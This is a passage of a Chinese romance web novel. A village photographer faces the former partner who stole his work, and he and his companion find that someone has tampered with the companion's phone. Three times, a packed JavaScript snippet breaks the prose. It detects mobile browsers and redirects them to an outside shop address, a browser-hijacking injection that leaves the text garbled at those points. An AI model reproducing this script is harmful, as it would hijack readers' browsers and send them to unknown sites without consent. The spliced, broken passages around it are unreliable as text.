“你今天在王大爷家看我那一眼,是什么意思?” 陆时砚转头看他,想了想,说:“那时候在想,这个人,我要留一辈子。”说完,收回目光,继续看月亮。 沈叙坐在那里,心跳快得像要从嗓子眼蹦出来。 他转头看着陆时砚的侧脸,月光把他的轮廓勾勒得很柔和。 忽然,陆时砚的手机响了,他拿出来看了一眼,眉头微微皱起。沈叙凑过去看——是一条消息,来自一个没有备注的号码。 “时砚,听说你回老家了?我在附近,想见一面。——林煜。” 空气突然安静下来。 村霸抬起头,“嘎”了一声。 13. 过去的人 沈叙看着那条消息,觉得月亮暗了一瞬。 林煜。 那个名字他只在陆时砚嘴里听过一次,在那些照片里见过无数次。雪山脚下的笑,沙漠里的背影,草原上的骑马,海边举着的螃蟹——还有那张合影,两个人站在山顶,身后云海翻涌,眼睛里都有光。 他握着陆时砚的手下意识收紧了一点,陆时砚没动,只是盯着手机屏幕,表情很淡,像在看一条普通的垃圾短信。 沈叙看不清他在想什么。 院子里安静得过分,连村霸都抬起头左看看右看看,像是察觉到了什么不对劲。 过了很久,陆时砚把手机翻过来扣在腿上,屏幕朝下。 “不用管。”他说。 声音很平静,平静得像什么都没发生,沈叙握着他的那只手感觉到,他的手指微微绷紧了一瞬,又松开了。 沈叙想说什么,问“你还好吗”太轻,问“你想去见他吗”太重,问“他是来干什么的”又太像试探。 他只是握着那只手,拇指轻轻在手背上蹭了蹭——这个动作是跟陆时砚学的,那天在山坡上,陆时砚握着他的手腕,拇指也是这样轻轻蹭过。 陆时砚转头看他,他靠过来一点,把头靠在沈叙肩上。 沈叙的身体僵了一秒,然后放松下来,让那个重量稳稳地落在自己肩上。 村霸看看他们,又把头埋回去。 月亮慢慢往西移,晚风继续吹,院子里的老槐树沙沙地响。 很久之后,陆时砚开口了。 “他当初拿走那组照片的时候,没有提前告诉我。”他的声音很轻,像在说一件很久远的事,“那组照片是我在雪山脚下蹲了半个月拍的。每天早上四点起来,等日出,等光线最好的那几分钟。拍完回来,手冻得连快门都按不动。” 沈叙静静地听。 “我以为他是帮我寄去参赛的。”陆时砚说,“那段时间我家里出了点事,顾不上这些。他说他帮我处理,我就交给他了。” “后来我在一个摄影展上看见那些照片,署着他的名字,标着已售出。” 沈叙的手指收紧了一点。 “我找他对质,他说是误会。说寄出去的时候写错了名字,等发现的时候已经来不及了。说钱可以分我一半。”陆时砚的语气依然很淡,“我说不要钱,我要那组照片的署名权。他说不可能,买家买的就是他的作品。” 沈叙终于开口:“然后呢?” “然后打官司。”陆时砚说,“打了两年。我请律师,找证据,翻出所有底稿和拍摄记录。他也在找律师,说我是诬陷,说我嫉妒他的成就。摄影圈里的人分成两派,有人在网上骂他,也有人骂我。” 他沉默了一会儿。 “最后我赢了。法院判他侵权,赔偿损失,公开道歉。”陆时砚说,“但那两年,我什么都没拍。拿相机的时候会想起那些事,会想起他,会想起那些骂我的话。” 沈叙把他的手握得更紧了一点,陆时砚说:“后来我就不拍了。回来,开始拍这些花花草草。” 他抬起头,看着沈叙的眼睛。 “然后你来了。” 沈叙看着那双眼睛,里面有月光,有自己的倒影。 “他来找你,可能是后悔了,可能是想道歉,可能是想看看你现在过得怎么样。但这些都不重要。”陆时砚神色微怔,就听他接着说:“重要的是,你现在不是一个人了。” 他的声音有点笨,有点直,但每个字都很认真。 “你想见他,我陪你去。你不想见,我就帮你挡着。你想骂他,我帮你骂。你想打他——”他顿了顿,“我可能打不过,但我可以帮你递砖头。” 陆时砚愣了一秒,然后笑出了声。 沈叙被他笑得有点不好意思,但还是梗着脖子说:“我说真的。” 陆时砚笑完了,靠回他肩上,声音闷闷的:“我知道。” 过了几秒,他又说:“我还没想好。” 沈叙说:“那就慢慢想。” 月亮又移了一点,院子里更暗了。远处传来狗叫,一声两声,然后安静下去。 沈叙忽然想起一件事:“明天还拍视频吗?” 陆时砚说:“拍。” 沈叙说:“拍什么?” 陆时砚想了想,说:“拍村霸。粉丝一直在问,想看看它平时都干什么。” 沈叙低头看了一眼脚边那只正在睡觉的鹅,想象了一下它出现在镜头里的样子,忽然有点期待。 第二天早上,阳光照常从老槐树的缝隙里漏下来。院子里,陆时砚正在和村霸对峙。 村霸蹲在墙角,昂着头,一脸“你想干什么”的表情。陆时砚蹲在它面前,手里举着相机,正在找角度,沈叙走过去,在他旁边蹲下。 陆时砚头也不回:“醒了?” 沈叙“嗯”了一声,看着村霸。 村霸看见他来了,眼神变了变,从“你想干什么”变成了“你总算来了,快把这个举着奇怪东西的人弄走”。 沈叙看懂了那个眼神,没忍住笑了。他伸手摸了摸村霸的脑袋,对陆时砚说:“它好像不太愿意被拍。” 陆时砚说:“它只是装腔作势。” 话音刚落,村霸“嘎”了一声,站起来,转身,用屁股对着他们。 陆时砚按下快门。 沈叙:“……你拍了?” 陆时砚看着相机屏幕,嘴角弯着:“这个角度不错。” 沈叙凑过去看。屏幕上,村霸的屁股占据了大部分画面,尾巴上的羽毛在阳光下泛着光泽,背景是模糊的院墙和绿植,居然有一种荒诞的美感。 他忍不住说:“这张发出去,粉丝会不会觉得你疯了?” 陆时砚说:“她们会很喜欢。” 事实证明陆时砚是对的。 上午的视频直播里,陆时砚把相机架在院子里,让村霸自由发挥。村霸一开始很高冷,昂着头在院子里巡视,偶尔停下来看看镜头,眼神睥睨:“你们这些凡人”。 沈叙在旁边举着反光板,时不时被村霸瞪一眼。 弹幕疯狂刷屏: 【村霸好拽我好爱】 【这个眼神绝了】 【助理小哥又被瞪了哈哈哈哈】 【助理小哥举反光板的样子好乖】 【他们两个怎么坐那么近】 沈叙看了一眼自己和陆时砚的距离——也就半米吧,正常坐姿。但弹幕一说,他忽然觉得好像真的有点近。 他偷偷往旁边挪了一点点。 陆时砚忽然伸手,把他拉回来。 动作很轻,但镜头里肯定能看见。 【啊啊啊啊啊啊看见了!】 【陆老师拉助理小哥了!】 【那个手!那个手腕!】 【我嗑到了我嗑到了我嗑到了】 沈叙耳尖泛红,陆时砚面不改色,继续拍村霸。村霸刚好走到镜头前,歪着脑袋看了一眼他们的手,然后“嘎”了一声。 :就知道你们会这样。 直播结束的时候,粉丝们意犹未尽,刷屏要求“每天都要看村霸”“要看助理小哥”“要看他们坐一起”。 陆时砚关掉直播,看了沈叙一眼,说:“她们眼睛真尖。” 沈叙没抬头,耳朵更红了。 下午, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305527|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人在书房里处理上午的素材。陆时砚剪视频,沈叙在旁边看。 剪到一半,陆时砚忽然停下来,看着手机——那个没有备注的号码又发了一条消息。 “我在镇上了。明天能见一面吗?有些话想当面说。” 沈叙看着那条消息,下意识看向陆时砚。陆时砚的表情依然很淡,但握着手机的手指微微收紧了一点。 沉默了几秒,陆时砚放下手机,继续剪视频。 沈叙问:“不回吗?” 陆时砚说:“还没想好回什么。” 沈叙看着他专注的侧脸,忽然伸手,覆在他握着鼠标的手上,说:“不管你回什么,我都在。” 陆时砚看了他一会儿,嘴角弯了一点:“我知道。” 他反手握住沈叙的手,轻轻捏了捏,然后松开,继续剪视频,沈叙坐在旁边,看着屏幕上的画面。 晚上吃饭的时候,沈叙问:“你想好怎么回了吗?” 陆时砚筷子顿了顿,说:“想好了。” “我回他,明天下午,村口茶馆。”陆时砚看着他,眼神淡然:“你想一起去吗?” 沈叙想了想,说:“你想让我去吗?” 陆时砚说:“想。” 他想让他去,想让他知道,他现在有他了。 沈叙点头:“好。我陪你去。” 吃完饭,两人坐在院子里。月亮比昨晚圆了一点,村霸趴在沈叙脚边,偶尔动一动脖子。 沈叙忽然说:“明天我要穿那件新衣服,就是你给我做的那件。” 陆时砚的嘴角弯起来:“那件是裁缝做的,不是我做的。” 沈叙说:“是你量的尺寸。” 陆时砚没说话,眼睛里有一点笑意。过了一会儿,沈叙又说:“我要站在你旁边,让他看见。” 陆时砚看着他的侧脸,月光把他的轮廓勾勒得很柔和,他的眼睛很亮,里面有月亮,有星星,还有一点倔强的认真。 他忽然倾身过去,在他脸颊上亲了一下。 陆时砚退回去,看着月亮,好像什么都没发生。 沈叙坐在那里,心跳快得像打鼓。他摸了摸被亲过的地方,又看看旁边那个人,忽然伸手,把他拉过来,在他额头上亲了一下。 村霸抬起头,看了他们一眼,又把头埋回翅膀里。 :行吧,你们高兴就好。 第二天下午,两人换上干净的衣服,往村口走。 沈叙穿着那件浅灰色的衬衫,陆时砚穿着一件深蓝色的,是他自己以前的衣服。两人走在一起,影子被斜阳拉得长长的,一前一后又重叠在一起。 村霸跟在后面,保持着两米的距离。 沈叙回头看了它一眼。 村霸“嘎”了一声:我只是想散步,不是要跟着你们去撑场子。 村口有一间小茶馆,平时没什么人,只有一个耳背的老头在看店,陆时砚推开门,沈叙跟在后面。 茶馆里光线有点暗,木头桌椅,搪瓷茶缸,墙上贴着发黄的标语。靠窗的那张桌子旁边,坐着一个人。 他比照片上老了一点,皮肤晒得更黑,眼角多了几道皱纹,但轮廓还是那个轮廓,笑还是那个笑。看见他们进来,他站起来,目光先是落在陆时砚身上,然后移到沈叙身上,顿了顿。 沈叙迎着他的目光,没有躲。 村霸从门口探进一个脑袋,左右看看,又缩回去了。陆时砚走到那张桌子前,停下。 沈叙站在他旁边,半步之后,刚好能随时握住他的手的位置。 那个人看着他们,笑容慢慢变得有点复杂。 “时砚,”他说,“好久不见。” 14. 故人 陆时砚没有应那句“好久不见”,他拉开椅子,在桌子一侧坐下。沈叙跟着坐下,就坐在他旁边,椅子挨着椅子,手臂挨着手臂。 林煜的目光在他们之间转了一圈,嘴角那点笑变得有点僵。 “这位是?”他看着沈叙问。 陆时砚说:“我的人。” 三个字落在茶馆里,像石头掉进静水,一圈一圈荡开。 沈叙的心跳漏了一拍,面上没动,只是迎上林煜的目光,点了点头,算是打过招呼。 林煜愣了一秒,然后笑了一下,那笑容有点复杂,像是不信,又像是意料之中。 “喝茶吗?”他问,“这儿的茶挺糙,但比白水强。” 陆时砚没回答,只是看着他。 林煜被他看得有点不自在,低头给自己倒了杯茶,又推过来两个空杯子,拎起茶壶倒上。茶水是浑浊的黄褐色,茶叶梗子在杯底沉沉浮浮。 他端起自己那杯喝了一口,放下杯子的时候,终于开口: “时砚,我是来道歉的。” 陆时砚没说话,只是静静看着林煜继续说:“当年那件事,是我做错了。我不该拿你的照片,不该署自己的名字,不该在法庭上还咬着不放。这些年我一直想找机会跟你说,但没脸开口。” 他的声音有点涩,像是这些话在心里憋了很久。 “后来听说你回老家了,不拍照片了。我以为你恨我恨到连摄影都不碰了。” 陆时砚依然没说话,只是看着他。 林煜深吸一口气,抬起头,目光直直地看过来:“我不求你原谅我,但我想让你知道,我真的后悔了。” 茶馆里很安静,安静得能听见窗外风吹过树叶的声音。村霸不知道什么时候从门口探进半个脑袋,一会儿看看这个人,一会儿看看那个人。 沈叙看着陆时砚的侧脸,他的表情很淡,看不出在想什么。 过了很久,陆时砚开口:“你后悔什么?” 林煜愣了一下。 陆时砚说:“后悔拿我的照片?还是后悔被发现了?” 林煜的脸色变了变。 陆时砚继续说:“那两年你一句道歉都没有,在法庭上说我诬陷你,在朋友圈里发状态说我嫉妒你。现在突然跑来说后悔,是为什么?” 他的声音依然很淡,每一个字都像钉子,一颗一颗钉下去。 林煜沉默了一会儿,低下头。“我……”他张了张嘴,“我这两年过得不太好。拍的东西没人看,之前攒的那点名气也散了。圈子里的人都知道那件事,没人愿意跟我合作。” 他抬起头,看着陆时砚。 “我有时候半夜睡不着,会想起那组照片。想起你是怎么拍的,蹲在雪山脚下,手冻得通红。想起你回来之后兴冲冲地给我看样片,问我好不好。我说好,心里想的却是这组照片能卖多少钱。” 他的眼眶有点红。 “时砚,我是真的后悔了。不是为了让你原谅我,是……是我自己受不了了。” 陆时砚看着他那双红了的眼睛,沉默了很久。窗外有鸟叫,一声两声,然后又安静下去。 “我知道了。”陆时砚说。 林煜抬起头,眼睛里有一丝亮光。 陆时砚说:“你后悔,我听到了。你道歉,我也听到了。”顿了顿,语气坚定,“但我没有原谅你。” 林煜那点亮光熄下去。 陆时砚说:“不是不想原谅,是还没到能原谅的时候。那两年我什么都没拍,因为拿起相机就会想起那些事,它们把我最想做的事变成了一种负担。” 他看着林煜的眼睛,“我现在又能拍了。拍村子,拍菜地,拍村霸,拍我身边的人。我拍的时候不会想起你了,这是好事。” 林煜的嘴唇动了动,没说出话来。 陆时砚说:“你来道歉,我谢谢你。但我不需要你的道歉来继续往前走,我已经走出来了。” 他伸出手,握住了沈叙的手。 那只手很暖,干燥的,稳稳地握着他的。 林煜看着他们交握的手,忽然笑了一下,那笑容里有很多东西——苦涩,释然,还有一点羡慕。 “他是谁?”他问,“真的只是你的人?” 陆时砚的嘴角弯了一点:“他是我的家。” 沈叙握着那只手,听着那四个字,心里涌起一阵潮水似的东西,又暖又满,涨得眼眶有点酸。 林煜看了他们一会儿,低下头,把杯子里剩下的茶一口喝完。 “我明白了。”他说,然后站起来,从口袋里掏出一样东西,放在桌上。 是一张照片,两个人站在山顶,身后云海翻涌。 陆时砚的目光落在照片上,停了一秒。 林煜说:“这张我一直留着。不是舍不得你,是舍不得那个时候的自己。” 他转身往外走,走到门口时忽然停下来,头也不回地说:“时砚,你比我强。能走出来,能重新开始,能……能找到这么好的人。” “替我谢谢你旁边那位。他看你的眼神,和当年我看你的一样。”说完他推开门,走进下午的阳光里,走得很快,像是怕自己后悔。 村霸在他经过的时候“嘎”了一声,不知道是送行还是嫌弃。 茶馆里又安静下来,沈叙看着陆时砚,陆时砚看着桌上那张照片。过了很久,陆时砚伸手,把照片拿起来,看了一眼,然后递给沈叙。 沈叙接过来,看着那张合影。两个人站在山顶,都笑着,眼睛里都有光。 但那是很久以前的事了。 他把照片翻过来,背面有一行字,笔迹有点潦草: “2025年秋,贡嘎。最好的时候。” 沈叙看着那行字,忽然明白林煜最后那句话的意思。 他看陆时砚的眼神,和当年你看我的一样。 真心过,也碎过,最后变成了这张照片,压在茶馆油腻的桌面上。 他把照片还给陆时砚,陆时砚接过去,又看了一眼,然后收进口袋里。 “留着吧。”他说,“毕竟是拍过最好的照片。” 最好的照片是过去,最好的人是现在。 两人在茶馆里又坐了一会儿,喝完那杯凉了的茶。老头从里屋出来,看见他们,问要不要添水,陆时砚说不用,结了账,站起来。 走出茶馆,阳光有点晃眼。沈叙眯了眯眼睛,看见村霸蹲在门口的石阶上,正用嘴巴整理羽毛。看见他们出来,它站起来,抖了抖毛,走在前面。 三人一鹅沿着来时的路往回走。 沈叙忽然说:“他最后那句话,是什么意思?” 陆时砚问:“哪句?” 沈叙说:“他说我看你的眼神,和他当年看你的一样。” 陆时砚沉默了几秒,然后说:“意思是,他知道你是真心的。”他握紧他的手:“不用管他什么意思。我知道你是真心的,就够了。” 沈叙看着他的侧脸,阳光把他的轮廓照得很柔和,嘴角有浅浅的弧度。 这个人,真好。 回到院子,太阳已经开始偏西。陆时砚说今天耽误了,得把明天的拍摄计划提前准备一下。沈叙跟着他进书房,看着他打开电脑,调出之前拍的素材。 屏幕上,村霸的屁股占据了大部分画面,尾巴上的羽毛在阳光下泛着光泽。沈叙看着那张截图,嘴角上扬。 陆时砚转头看他:“笑什么?” 沈叙说:“我在想,粉丝要是知道你今天去见了谁,会说什么。” 陆时砚想了想,说:“她们会说,‘陆老师好帅’‘助理小哥好乖’‘村霸好拽’。” 沈叙愣了一下:“就这些?” 陆时砚的嘴角弯起来:“不然呢?她们又不知道林煜是谁。” 沈叙想了想,好像也是。 他凑过去看陆时砚剪片子,屏幕上的村霸正在院子里巡视,昂着头,迈着六亲不认的步伐,时不时停下来看一眼镜头。 陆时砚忽然说:“今天谢谢你。” 沈叙转头看他,他却没看他,眼睛盯着屏幕,但声音很认真:“陪我去,坐在我旁边,让我握着你的手。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305528|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈叙说:“我应该的。” 陆时砚顿了顿,说:“没有什么应该。你是自己愿意的。” 沈叙看着他,忽然伸手,把他的脸扳过来,在自己额头上亲了一下。陆时砚怔愣一瞬,看着他,嘴角慢慢弯起来,然后转回去继续剪片子。 书房里很安静,只有鼠标点击的声音,和窗外偶尔传来的鸟叫。剪到一半,陆时砚忽然停下来。 沈叙问:“怎么了?” 陆时砚看着屏幕,沉默了一会儿,然后说:“我想把那组照片重新拍一遍。” 沈叙愣了一下:“哪组?” 陆时砚说:“雪山那组。当年拍了半个月的那组。” “不是想证明什么,就是想看看,现在拍出来是什么样子。”他看着沈叙的眼睛,嘴角弯了一点,“你陪我去吗?” 沈叙看着他,看着那双眼睛里的期待,和一点点不确定,他伸手握住陆时砚的手。 “去。”他说,“你去哪儿我都陪你去。” 窗外,太阳又西斜了一点,把整个院子染成暖黄色。村霸从门口探进脑袋,看看他们,然后缩回去,在院子里找了个有阳光的地方趴下。 沈叙握着那只手,忽然想起林煜说的话。 他看你的眼神,和当年我看你的一样。 转头看着陆时砚,他正在看屏幕,侧脸被夕阳镀上一层柔和的光。 不一样的。 林煜看他的眼神是过去,是怀念,是想抓住却抓不住的东西。 他看陆时砚的眼神是现在,是每一天,是想一直这样坐在一起看片子、种菜、喂村霸的那种以后。 陆时砚的鼠标在一个镜头前停下来——那是今天直播的时候,村霸歪着脑袋看镜头的特写,眼睛里有一点嫌弃,又有一点好奇。 “这个镜头好。”陆时砚说,“眼神里有东西。” 村霸那时候看的不是镜头,是镜头后面的他们——靠得太近,握着的手,还有那种谁都没说但谁都感觉得到的气氛。 它什么都知道。 只是懒得说,哦,也不会说。 剪完片子,天已经黑了。吃完饭,照例去院子里坐一会儿,夜幕上星星很多,密密麻麻地铺满了。 “雪山那边,什么时候去?” 陆时砚想了想:“等把手里这批视频剪完。大概一个月后。” 沈叙点点头。 陆时砚转头看他:“不问问去多久?” 沈叙说:“多久都行。” 陆时砚看着他,眼睛里有光,比星星还亮。 村霸在他们脚边打了个哈欠,把脑袋埋进翅膀里。月亮慢慢往西移,晚风轻轻地吹。远处传来狗叫,一声两声,然后安静下去。 沈叙靠在椅背上,看着满天的星星,忽然觉得这一辈子好像也没有那么长。 长到可以陪他去很多地方,拍很多照片。 短到只想和他一个人,在同一个院子里,看同一片星星。 过了很久,陆时砚忽然说:“他最后那句话,我后来想了一下。” 沈叙问:“哪句?” 陆时砚说:“他说你看着我的眼神,和他当年看我的一样。” “我觉得他说错了。” “啊?” 陆时砚看着他,嘴角慢慢弯起来:“他当年看我的眼神,是想把我留在他的世界里。你看我的眼神,是想进我的世界里,然后再也不走。” 沈叙听着那话,心跳快得像要从嗓子眼蹦出来。 林煜走后没再联系,日子平平淡淡的过,沈叙这段时间刷视频时总是不自觉的关注贡嘎那边的情况。 这天傍晚,陆时砚照常点开私信后台,一条消息蹦了出来。 “陆老师您好,我是XX平台的编导,想和您聊聊合作的事。听说您最近有去川西拍摄的计划?我们很感兴趣,想赞助这次行程。” 沈叙凑过去看着那条消息,心里忽然涌起一种奇怪的感觉。 赞助? 川西? 怎么这么快就有人知道了? 15. 意外 发件人头像是一个风景照,昵称是“XX平台-陈编导”,看起来像是工作号。但内容太具体了——川西,雪山拍摄计划,时间在一个月后。这些细节,除了他和陆时砚,没有任何人知道。 陆时砚把手机翻过来扣在腿上,动作很轻,但沈叙注意到他的手指在屏幕上停了一瞬。 “先不管。”陆时砚说。 月亮慢慢往西移,院墙的影子越拉越长,最后整个院子都暗下来,只剩下天上的星星还亮着。村霸在脚边翻了个身,发出满足的咕噜声,浑然不觉刚才那条消息带来的涟漪。 沈叙握着陆时砚的手,拇指在手背上轻轻摩挲。 “会不会是林煜?”他问。 陆时砚想了想,摇头:“他不会。他那个人,想说什么会当面说,不会绕这个弯子。” 沈叙又问:“那是平台那边自己猜的?你最近查过川西的天气或者路线吗?” 陆时砚沉默了几秒,说:“查过。前两天用手机搜过贡嘎的登山路线和最佳拍摄季节。” 大数据推荐,浏览记录被捕捉,然后平台根据这些信息反向推测创作者的计划——这种事他在互联网行业见过太多了。那些算法比你更了解你想要什么,甚至会比你更早猜到你要做什么。 “有可能是这个。”他说,“平台的后台会抓取创作者的搜索记录,然后匹配对应的商务资源。” 陆时砚看着他,眼睛里有疑问。 沈叙解释得更详细一点:“你在平台注册过创作者账号,绑定过手机,同意过用户协议。那些协议里有一条,大概是‘为了提供更好的服务,可能会收集您的使用数据’。然后算法会根据这些数据推测你的创作方向,提前联系你,抢占先机。” 他说得很平静,但心里其实有点堵,他太懂这套逻辑了。是觉得这件事来得太巧,正好在见过林煜之后,陆时砚决定重新拍雪山的时候。 像是有人一直在盯着他们。 陆时砚听完,沉默了一会儿,然后说:“那就先不理。”看着远处的山影,声音很淡:“不管是谁,不管是怎么知道的,不影响我们的计划。该去还是去,该怎么拍还是怎么拍。” 沈叙握紧他的手:“好。” 第二天早上,阳光照常从老槐树的缝隙里漏下来。 沈叙醒过来的时候,发现陆时砚已经不在床上了。他躺了两秒,听着外面传来的动静,有人在搬东西,还有村霸偶尔的“嘎”声。 院子里,陆时砚正在整理器材。好几个镜头摊在地上,相机包打开着,三脚架支在一旁。村霸蹲在角落里,歪着脑袋看着这一切,眼神里带着一丝警惕。 听见沈叙出来,陆时砚头也不回地说:“今天拍李大妈做酱。” 沈叙愣了一下,然后想起之前说过,要拍村里那些老手艺。李大妈的酱在方圆几十里都出名,用祖传的方子,每年这个时候开始做,一做就是一大缸。 他走过去,蹲下来帮陆时砚整理镜头。 陆时砚看他一眼,没说话,但嘴角弯了一点。 两人把器材装好,往李大妈家走。村霸跟在后面,保持着两米的距离,但沈叙注意到它今天走得特别近,好像有什么事要发生似的。 李大妈家在村东头,一个很大的院子,院墙上爬满了丝瓜藤,绿油油的叶子中间开着黄色的花。他们到的时候,李大妈正在院子里洗坛子,一个个粗陶大缸蹲在墙根底下,等着被装满。 看见他们进来,李大妈眼睛一亮:“哟,小陆来了!还有小沈!快进来快进来!” 沈叙被她的热情弄得有点不好意思,但还是跟着陆时砚走进院子。 陆时砚开始架相机,沈叙在旁边帮忙。村霸在院门口探头探脑,被李大妈养的几只鸡看见了,双方隔着门槛对峙了一会儿,村霸“嘎”了一声,鸡们缩回去了。 沈叙看着这一幕,忍不住笑了。 李大妈凑过来,小声问:“小沈啊,那只鹅是不是喜欢你?” 沈叙愣了一下:“您怎么知道?” 李大妈说:“我看它老跟着你。鹅这玩意儿认人,它愿意跟着谁,就是认了谁。” 沈叙低头看了一眼蹲在门口的村霸,哂笑一声,被一只鹅认了,好像也不赖。 陆时砚架好相机,开始拍。李大妈坐在小板凳上,一边洗坛子一边讲酱的方子——黄豆要选哪种,霉豆瓣要晒几天,盐和水要按什么比例,封缸的时候要留多少缝隙。 她讲得又慢又细,每一个步骤都要重复好几遍,生怕漏了什么。 沈叙举着反光板,把阳光反射到李大妈的手上。那双手很粗糙,布满了裂纹和老茧,动起来的时候有一种说不出的韵味,每一个动作都稳稳当当,像是做过一万遍。 陆时砚拍了很久,从洗坛子拍到拌酱,从拌酱拍到封缸。太阳慢慢升高,又慢慢西斜,一整缸酱终于做好了,被抬到屋檐底下,盖上盖子,等着时间的发酵。 收工的时候,李大妈非要留他们吃饭。 “做了酱就有酱吃,”她说,“今天让你们尝尝我去年做的,配上刚烙的饼,香得很!” 两人推辞不过,只好留下来。 饭桌摆在院子里,烙饼、蘸酱、一碟炒鸡蛋、一碟凉拌黄瓜,还有一碗热腾腾的小米粥。夕阳的余晖把一切染成暖黄色,几只鸡在墙根底下啄食,偶尔抬头看看他们,然后又低头继续。 沈叙咬了一口饼,蘸上李大妈的酱。 酱很香,有豆子发酵之后特有的醇厚,咸中带甜,后味还有一点点辣。 李大妈看他那表情,笑呵呵地问:“怎么样?” 沈叙点头:“好吃。” 李大妈更高兴了,又给他夹了一筷子鸡蛋:“多吃点!你们年轻人,老是吃那些外卖,哪能长身体!” 沈叙想说他早就不吃外卖了,但看着李大妈热切的眼神,没说出口,只是低头继续吃。 陆时砚在旁边慢慢吃着,偶尔和李大妈聊几句村里的闲事。谁家的儿子结婚了,谁家的女儿考上大学了,谁家的老人生病住院了。这些琐碎的日常,从他嘴里说出来,平平淡淡的,但听着就让人觉得安心。 沈叙看着他,忽然想起昨晚那条消息。 那个编导,那个赞助,那个突然冒出来的“川西计划”。 他不知道陆时砚现在在想什么,这个人表面上看起来云淡风轻,其实什么事都放在心里。 他想问他,想好了吗?要去吗?那个赞助,要接吗?但看着陆时砚和李大妈聊天的样子,他又问不出口。 吃完饭,天已经快黑了。两人告别李大妈,往回走。村霸从院门口站起来,抖了抖毛,走在前面。 月亮还没升起来,天边还有最后一抹橘红色的光。远处的山影层层叠叠,近处的炊烟袅袅升起。 沈叙走了一会儿,忽然说:“那个赞助,你想接吗?” 陆时砚脚步顿了顿,没说话。 沈叙继续说:“如果接的话,钱是一方面,主要是平台能给流量,能让更多人看见你拍的东西。” 陆时砚听着,继续往前走。 沈叙又说:“如果不接的话,我们自己去,时间可以自己定,路线可以自己选,拍多久都可以。” 陆时砚停下来,转身看他。 “你觉得我应该接吗?” 沈叙想了想,说:“不是我觉得,是你想不想。”沈叙迎着他的目光,认真地说:“你想接,我们就接,平台那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太急了,不像是正常的商务跟进,更像是有谁在背后推着。 陆时砚沉默了几秒,然后把手机递给沈叙。 “你帮我回。”他说,“你说怎么回就怎么回。” “嗯。”他低下头,开始打字,“谢谢关注,目前还在规划阶段,有需要会联系。” 很客气,很官方,不拒绝,也不承诺。 发完之后,他把手机还给陆时砚。他看了一眼,嘴角弯起来:“像你写的。” 沈叙问:“什么意思?” 陆时砚说:“冷静,周全,给自己留余地。” “那个平台,怎么会知道我们要去川西?就算有搜索记录,也太具体了。一个月后,贡嘎,雪山拍摄——这些都是关键词,但普通用户搜这些的多了,怎么会精准定位到你?”沈叙继续说:“除非有人知道我们的计划,提前告诉了平台。” 陆时砚转头看他。两个人对视着,空气忽然安静下来。村霸不知道什么时候走到了书房门口,探进一个脑袋,左看看右看看。 过了很久,陆时砚开口了:“你觉得是谁?” 沈叙沉默了一会儿,说:“我不知道。但我会查。” 他拿起自己的手机,开始翻记录。搜索记录,聊天记录,浏览历史,每一个可能留下痕迹的地方。陆时砚看着他的侧脸,看着他认真的样子,忽然伸手,覆在他握着手机的手上。 陆时砚说:“不用急。不管是谁,总会露出来的。” 沈叙点点头,手没有停。他翻到一个地方,忽然停住了。 一个小程序,刚来村里的时候,他用过一次,查从镇上到村里的公交路线,后来就再也没打开过。 但现在,那个小程序的访问记录里,有一条异常。 三天前,有人从这台设备访问过它。 “这是什么?” 沈叙说:“一个小程序。我查公交的时候用过一次。” “有人动过我的手机。” 16. 眼睛 沈叙盯着那条访问记录,手指悬在屏幕上方,半天没动。 三天前…… 他和陆时砚刚从山坡上下来,手牵着手,晚霞染红了半边天。那天晚上他们说了很多话,关于星星,关于以后,关于那些还没来得及细想的未来。回到院子之后,他把手机随手放在桌上,去厨房帮陆时砚做饭。 那段时间,大概有二十分钟。 二十分钟,足够打开一个小程序,查查公交路线,顺便——沈叙点进浏览器的历史记录,快速翻看——果然,还有几条搜索记录被删除了。 他用技术手段恢复了一部分。 “川西贡嘎最佳拍摄路线” “陆时砚摄影雪山” “XX平台创作者雪山拍摄计划” 沈叙看着那些关键字,手心有点发凉。 这个人,一直在盯着他们。 陆时砚在旁边看着,眉头微微皱起,但表情还算平静。他伸手握住沈叙的手腕,拇指在手背上轻轻蹭了蹭。 “能查到是谁吗?”他问。 沈叙摇头:“删得很干净。如果不是这个小程序的访问记录藏在犄角旮旯里,根本发现不了。” 他顿了顿,又说:“这个人很懂技术。知道清理浏览器历史,知道删掉搜索记录,知道怎么不留痕迹地进出一台手机。” 陆时砚沉默了一会儿,然后问:“你觉得是谁?” 沈叙想了想,把手机放下,转头看着他。 “可能是冲着我们来的,也可能是冲着你来的。”他说,“林煜那边你确定他不会做这种事?” 陆时砚点头:“他不会。他那个人,做了就是做了,不会偷偷摸摸。” 沈叙又问:“那你以前有过什么疯狂的粉丝吗?或者得罪过什么人?” 陆时砚愣了一下,然后嘴角弯起一点:“我?得罪人?” 沈叙看着他那副表情,知道他在想什么——一个话少、佛系、与世无争的乡村UP主,能得罪谁? “你那个平台的账号,绑定的手机号是你的私人号还是工作号?” 陆时砚说:“私人号。” 沈叙又问:“那个号有没有公开过?” 陆时砚想了想:“没有。只在注册的时候填过,从来没在视频里露出来过。” 如果手机号没公开过,那这个人是通过什么渠道知道的? 除非——他抬头看向陆时砚,对方显然也在想同样的问题,或者这个人,离他们很近。 